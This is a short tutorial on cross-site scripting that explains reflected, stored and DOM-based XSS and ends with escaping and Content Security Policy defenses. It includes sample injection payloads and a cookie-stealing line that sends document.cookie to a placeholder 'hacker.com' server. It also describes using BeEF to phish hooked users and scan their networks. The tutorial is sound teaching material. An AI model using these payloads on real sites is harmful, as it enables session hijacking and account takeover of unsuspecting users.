If SQL Injection is attacking the Server's Database, XSS is attacking the User's Browser. It occurs when an application includes untrusted data in a web page without proper validation or escaping. If you can inject JavaScript, you can do ANYTHING the user can do: read emails, transfer money, or use their webcam.

The Mechanism

A website takes a parameter and prints it:
Hello, <?php echo $_GET['name']; ?>
Url: site.com?name=Alice -> "Hello, Alice"
Url: site.com?name=<script>alert(1)</script> -> "Hello, [Popup Alert]"
The browser sees the <script> tag and executes it, believing it is legitimate code from site.com.

1. Reflected XSS (Non-Persistent)

The malicious script is part of the request (URL).
Scenario: An attacker sends a victim a link:
http://bank.com/search?q=<script>stealCookies()</script>
The victim clicks the link. The bank's search page reflects the query back: "You searched for [Script]". The script executes.
Limitation: Requires social engineering (getting the user to click the specific link).

2. Stored XSS (Persistent)

The malicious script is stored in the database (e.g., in a comment or profile bio).
Scenario: An attacker posts a comment on a blog:
Nice post! <script>stealCookies()</script>
Every single user who views that blog post—including the admin—automatically executes the script just by loading the page.
Impact: Critical. Can create a worm that spreads automatically.

3. DOM-Based XSS

This happens entirely in the client-side JavaScript, never touching the server.
Vulnerable Code:
var name = document.location.hash.substring(1);
document.getElementById('welcome').innerHTML = name;
This takes data from the URL fragment (#) and writes it to the DOM using innerHTML (which is dangerous).
Attack: site.com#<img src=x onerror=alert(1)>

4. Advanced Exploitation (BeEF & Session Hijacking)

What can you do with XSS? alert(1) is for testing.
Cookie Stealing:
var i=new Image(); i.src="http://hacker.com/?cookie="+document.cookie;
This sends the user's Session ID to your server. You can now log in as them without a password.

BeEF (Browser Exploitation Framework):
A tool that "hooks" browsers. Once a victim visits your XSS page, they appear in your BeEF control panel. You can send commands to:
- Show a fake login popup (Phishing).
- Redirect them to an exploit kit.
- Scan their internal network (LAN).

5. Defenses (CSP & Escaping)

1. Context-Aware Encoding: Convert < to &lt; before printing to HTML. This makes it render as text, not code.
2. Content Security Policy (CSP): An HTTP header that tells the browser: "Only execute scripts from accessing domain.com". It blocks inline scripts like <script>...</script>.